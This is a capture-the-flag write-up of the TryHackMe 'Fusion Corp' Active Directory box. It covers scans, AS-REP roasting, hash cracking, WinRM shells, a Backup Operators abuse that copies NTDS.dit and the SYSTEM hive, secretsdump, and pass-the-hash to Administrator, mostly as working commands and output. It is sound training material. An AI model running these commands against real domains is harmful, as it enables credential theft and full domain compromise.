Post

TryHackMe: Fusion Corp

TryHackMe: Fusion Corp

This box is rated hard difficulty on THM. It involves us discovering an employee spreadsheet in a backup directory on the web server that leads to AS-REP roasting a user account. They have WinRM access which lets us get a shell and after some enumeration, we find another user’s password in their description attribute that allows us to pivot. Since that user is in the Backup Operators group, we can abuse their SeBackup and SeRestore privileges to clone the C:\ drive and download the NTDS.dit file. Once on our local machine, an Impacket script is used to extract the Administrator’s NTLM hash to grab a shell.

Fusion Corp said they got everything patched… did they?

Scanning & Enumeration

As always, I begin with an Nmap scan against the target IP to find all running services on the host; Repeating the same for UDP returns the standard AD things.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ sudo nmap -sCV 10.64.183.145 -oN fullscan-tcp

Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-12 17:34 CDT
Nmap scan report for 10.64.183.145
Host is up (0.044s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: eBusiness Bootstrap Template
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-12 22:34:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fusion.corp0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: fusion.corp0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Fusion-DC.fusion.corp
| Not valid before: 2026-03-11T22:30:34
|_Not valid after:  2026-09-10T22:30:34
|_ssl-date: 2026-03-12T22:35:12+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: FUSION
|   NetBIOS_Domain_Name: FUSION
|   NetBIOS_Computer_Name: FUSION-DC
|   DNS_Domain_Name: fusion.corp
|   DNS_Computer_Name: Fusion-DC.fusion.corp
|   Product_Version: 10.0.17763
|_  System_Time: 2026-03-12T22:34:33+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FUSION-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-12T22:34:33
|_  start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.79 seconds

Looks like a Windows machine with Active Directory components installed on it. LDAP is leaking the domain name of fusion.corp which I’ll add to my /etc/hosts file. There are a lot of ports open, so I’‘ll focus mainly on HTTP, SMB, and Kerberos to gather information such as users and available shares. As there is a web server, I fire up Ffuf to search for subdirectories and Vhosts in the background before heading to the site. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ ffuf -u http://fusion.corp/FUZZ -w /opt/SecLists/directory-list-2.3-medium.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fusion.corp/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

img                     [Status: 301, Size: 146, Words: 9, Lines: 2, Duration: 160ms]
css                     [Status: 301, Size: 146, Words: 9, Lines: 2, Duration: 71ms]
lib                     [Status: 301, Size: 146, Words: 9, Lines: 2, Duration: 52ms]
js                      [Status: 301, Size: 145, Words: 9, Lines: 2, Duration: 65ms]
backup                  [Status: 301, Size: 149, Words: 9, Lines: 2, Duration: 177ms]
contactform             [Status: 301, Size: 154, Words: 9, Lines: 2, Duration: 155ms]

:: Progress: [220560/220560] :: Job [1/1] :: 388 req/sec :: Duration: [0:07:25] :: Errors: 0 ::

Finding Domain Usernames

Checking out the landing page shows a static site to host the organization’s services on. Other than the section about team members that we can use to create a user wordlist, there’s not much on this page that helps us.

My scans picked up a few normal directories that don’t contain any crazy files other than basic site functionality (e.g. main.js and style.css), however one stood out. Under the /backups dir, we’re able to grab an employees.ods file (spreadsheet) that lists emplyees along with their corresponding usernames on the domain.

I open this file with Gnumeric on my Kali machine. You can install it by running sudo apt install gnumeric, make sure to update your package manager beforehand if you run into any errors.

Password Spraying

After adding those to a wordlist, I test if any of these accounts have their username reused as their password.

1
$ nxc smb fusion.corp -u users.txt -p users.txt --continue-on-success --no-brute

This doesn’t work, but we still have a list of useful usernames on the domain which will help us later. Checking if RPC and LDAP allow for anonymous login/binds shows that this really was the only way to enumerate these names.

1
2
3
$ rpcclient fusion.corp -U ''

$ ldapsearch -H ldap://fusion-dc.fusion.corp -x -b "DC=fusion,DC=corp"

AS-REP Roasting

Due to us still not having any valid credentials or ways to authenticate anywhere, I’ll check to see if any of these accounts are AS-REP roastable which could give us a user’s password if cracked. 

If you’re unfamiliar with this technique - Attackers can perform AS-REP roasting when an Active Directory account has “Do not require Kerberos pre-authentication” enabled. By sending an authentication request to the Kerberos Key Distribution Center (KDC) using only a username, the server returns an AS-REP response encrypted with the user’s password-derived key. We can then capture this response and offline crack the hash to recover the account’s plaintext password.

Finding Valid Users

To do this, I use a tool called Kerbrute to test my wordlist for valid accounts.

1
$ ./kerbrute userenum ../users.txt --dc fusion-dc.fusion.corp -d fusion.corp

Getting KRB5ASREP Hash

This returns just one valid user named lparker. The chance is slim, but next I’ll use Impacket’s GetNPUsers.py script to test if his account has Kerberos pre-authentication disabled, therefore granting us a krb5asrep hash to crack.

1
$ impacket-GetNPUsers -dc-ip 10.64.183.145 -usersfile ../users.txt -no-pass fusion.corp/

Cracking Hash

That actually works and we’re rewarded with Larry Parker’s hash, who’s also the only real user on the box. Now let’s send that over to Hashcat or JohnTheRipper to get the plaintext variant so that we can authenticate elsewhere.

1
2
3
$ echo "[KRB5ASREP_HASH_VALUE]" > hash

$ john hash --wordlist=/opt/SecLists/rockyou.txt

Checking to see if this works shows that he has read permissions on a few standard shares, but nothing that will help us over SMB.

1
$ nxc smb fusion.corp -u 'lparker' -p '[REDACTED]' --shares

In Microsoft Windows environments, each security principal (users, groups, computers) is assigned a Relative Identifier (RID) as the last portion of its SID. Because RIDs are often allocated sequentially, attackers can brute-force RID values over protocols like SMB or RPC to query which SIDs exist and resolve them into account names, effectively enumerating valid usernames on a given domain.

Just to be thorough, I perform an RID brute-force over SMB to double check all usernames on the domain. This reveals another user besides the Administrator named Jmurphy, who we’ll most likely want to pivot to as there are three user flags. I append their username to my users list as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nxc smb fusion.corp -u 'lparker' -p '[REDACTED]' --rid-brute

SMB         10.64.183.145   445    FUSION-DC        [*] Windows 10 / Server 2019 Build 17763 x64 (name:FUSION-DC) (domain:fusion.corp) (signing:True) (SMBv1:False)
SMB         10.64.183.145   445    FUSION-DC        [+] fusion.corp\lparker:[REDACTED]
SMB         10.64.183.145   445    FUSION-DC        498: FUSION\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        500: FUSION\Administrator (SidTypeUser)
SMB         10.64.183.145   445    FUSION-DC        501: FUSION\Guest (SidTypeUser)
SMB         10.64.183.145   445    FUSION-DC        502: FUSION\krbtgt (SidTypeUser)
SMB         10.64.183.145   445    FUSION-DC        512: FUSION\Domain Admins (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        513: FUSION\Domain Users (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        514: FUSION\Domain Guests (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        515: FUSION\Domain Computers (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        516: FUSION\Domain Controllers (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        517: FUSION\Cert Publishers (SidTypeAlias)
SMB         10.64.183.145   445    FUSION-DC        518: FUSION\Schema Admins (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        519: FUSION\Enterprise Admins (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        520: FUSION\Group Policy Creator Owners (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        521: FUSION\Read-only Domain Controllers (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        522: FUSION\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        525: FUSION\Protected Users (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        526: FUSION\Key Admins (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        527: FUSION\Enterprise Key Admins (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        553: FUSION\RAS and IAS Servers (SidTypeAlias)
SMB         10.64.183.145   445    FUSION-DC        571: FUSION\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.64.183.145   445    FUSION-DC        572: FUSION\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.64.183.145   445    FUSION-DC        1000: FUSION\FUSION-DC$ (SidTypeUser)
SMB         10.64.183.145   445    FUSION-DC        1101: FUSION\DnsAdmins (SidTypeAlias)
SMB         10.64.183.145   445    FUSION-DC        1102: FUSION\DnsUpdateProxy (SidTypeGroup)
SMB         10.64.183.145   445    FUSION-DC        1103: FUSION\lparker (SidTypeUser)
SMB         10.64.183.145   445    FUSION-DC        1104: FUSION\jmurphy (SidTypeUser)

Initial Foothold

Since Nmap discovered that port 5985 was open, I check if Larry is apart of the Remote Management group whom are allowed to WinRM onto the box to grab a shell. The fact that Netexec responds with a “Pwn3d!” message next to the credentials confirms that he has the permissions to do so.

1
$ nxc winrm fusion.corp -u 'lparker' -p '[REDACTED]'

We can use a tool like Evil-WinRM to grab a shell on the box, as well as retrieve the first flag under his Desktop folder.

1
$ evil-winrm -i fusion.corp -u lparker -p '[REDACTED]'

From here, I start internal enumeration to search for any ways to escalate privileges and pivot to either Administrator or Jmurphy. We don’t have access to either of their home directories, so I’ll focus on strictly permissions.

Privilege Escalation

Light enumeration of the filesystem shows a non-standard directory on the C:\ drive named stuff, however it’s empty. I’m also unable to locate any scripts, PowerShell history files, or hardcoded credentials in the webroot, so I start up BloodHound to map the domain along with any permissions we have access to.

1
2
3
$ bloodhound-python -u lparker -p '[REDACTED]' -dc fusion-dc.fusion.corp -d fusion.corp -ns 10.64.190.161 -c all

$ sudo bloodhound

Creds in Description Attribute

It seems like Larry Parker has no outbound object control and is not apart of any groups with interesting permissions. Since we won’t be able to do anything as Larry, I start enumeration on other domain users. This led me to finding a password for Jmurphy in the description attribute on his account.

Testing this for valid authentication reveals that it’s still up to date and we can swap over to getting a shell as them via Evil-WinRM once again.

1
2
3
4
5
$ nxc winrm fusion.corp -u 'jmurphy' -p '[REDACTED]'
WINRM       10.64.190.161   5985   FUSION-DC        [*] Windows 10 / Server 2019 Build 17763 (name:FUSION-DC) (domain:fusion.corp)
WINRM       10.64.190.161   5985   FUSION-DC        [+] fusion.corp\jmurphy:[REDACTED] (Pwn3d!)

$ evil-winrm -i fusion.corp -u jmurphy -p '[REDACTED]'

At this point, we can grab the second flag under his Desktop folder and start our endeavor towards Administrator.

Abusing Backup Operator Privs

Checking out his account shows that they are in the Backup Operators group. That means all users within it should have access to the SeBackup and SeRestore privileges, which can be utilized to clone the filesystem and extract hashes from the NTDS.dit file.

We could also discover this from the CLI by listing groups and privileges with whoami /all.

There’s a pretty common way to dump the AD database by cloning the NTDS.dit file using the DiskShadow executable. This article is a great resource that goes in-depth on a few ways to exploit this privilege.

Just to explain what we’re doing here - Since our account has access to backup and restore certain files with elevated privileges, we can effectively make a clone of the Active Directory database files (NTDS.dit) which contain hashed passwords of the user accounts. Also DiskShadow.exe supports the use of scripts through the /s option, so we can write a quick one to clone the C:\ drive to another location that’s exposed to the network.

First I create a script on my local machine that will perform the cloning process:

1
2
3
4
5
6
7
8
9
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% Z:
end backup

Make sure you use unix2dos in order for this file to be compatible with Windows. Then, I upload it to a Temp directory via Evil-WinRM and run DiskShadow while specifying the .dsh file to be executed.

1
$ diskshadow /s backup_script.dsh

Once that script is officially done, we can utilize another executable our account has access to, which is robocopy. This will allow us to copy files from the newly-created Z:\ drive to the Temp directory in order to download certain files. We want the NTDS.dit file which contains users hashes on the domain, including Administrator. 

1
$ robocopy /b Z:\Windows\ntds . ntds.dit

In order for us to decrypt NTDS.dit, we’ll need the boot key from the SYSTEM hive so we can actually extract these hashes. Luckily we can just create a backup of it wherever we please. Lastly, I use Evil-WinRM’s download function to transfer these files to my attack box.

1
2
3
4
$ reg save hklm\system C:\Temp\system.bak

$ download system.bak
$ download ntds.dit

Once those two files are on our local machine, we can use Impacket’s secretsdump.py script to retrieve the administrator hash.

1
$ impacket-secretsdump -system system.bak -ntds ntds.dit LOCAL

Finally, we can attempt to crack this NTLM hash or peform a Pass-The-Hash attack over WinRM to grab a shell as Administrator. Snagging the root flag under their Desktop folder will complete this box.

1
$ evil-winrm -i fusion-dc.fusion.corp -u administrator -H '[ADMIN_NTLM_HASH]'

That’s all y’all, this box wasn’t too difficult if you know what to look for. AS-REP roasting remains ever useful in grabbing valid domain credentials and BloodHound is a powerful tool for mapping AD compromise as it’s really about finding where trust is established. I hope this was helpful to anyone following along or stuck and happy hacking!

This post is licensed under CC BY 4.0 by the author.